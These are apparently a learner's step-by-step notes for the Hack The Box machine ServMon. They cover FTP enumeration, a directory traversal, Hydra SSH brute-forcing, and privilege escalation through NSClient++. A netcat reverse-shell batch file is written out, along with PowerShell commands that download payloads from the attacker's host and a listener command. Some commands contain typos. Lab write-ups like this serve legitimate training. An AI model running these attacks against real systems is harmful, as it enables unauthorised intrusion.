SERVMON(10.10.10.184)

- 1. Go through the ftp (Grab 2 important files)
- 2. Nvms directory traversal exploit

(through **msf** change location to /users/nathan/desktop/passwords.txt)

3. Make 2 files i.e users.txt and passwords.txt and use HYDRA (hydra -L users.txt -P passwords.txt <u>ssh://10.10.10.184</u>)(ssh <u>nadine@10.10.10.184</u>) 4.get the shell and user

- 5. Now do PE through NSClient++
- 6. For root we have to do all the work In root of our system(su -)

7.

```
root@kali:~# locate nc.exe
/usr/share/windows-resources/binaries/nc.exe
root@kali:~# cp /usr/share/windows-resources/binaries/nc.exe
cp: missing destination file operand after '/usr/share/windows-resources/binaries/nc.exe'
Try 'cp --help' for more information.
root@kali:~# cp /usr/share/windows-resources/binaries/nc.exe /root
root@kali:~# nano evil.bat
```

8. In evil.bat(@echo off

C:\tmp\nc64.exe -e 10.10.15.43 443 poweshell)

9. python -m SimpleHTTPServer 80
 10.

```
nadine@SERVMON C:\Users\Nadine>cd /
nadine@SERVMON C:\>cd "program files"
nadine@SERVMON C:\Program Files>cd nsclient++
nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password -display
Current password: ew2x6SsGTxjRwXOT
nadine@SERVMON C:\Program Files\NSClient++>cd /
nadine@SERVMON C:\>powershell.exe wget "http://lo.10.15.43/nc.exe" -outfile "C:\temp\nc.exe"
nadine@SERVMON C:\>powershell.exe wget "http://lo.10.15.43/evil.bat" -outfile "C:\temp\hi.bat"
```

11. Now (nc -lvnp 443)

12.

13. Wait for some time we will get the shell on nc.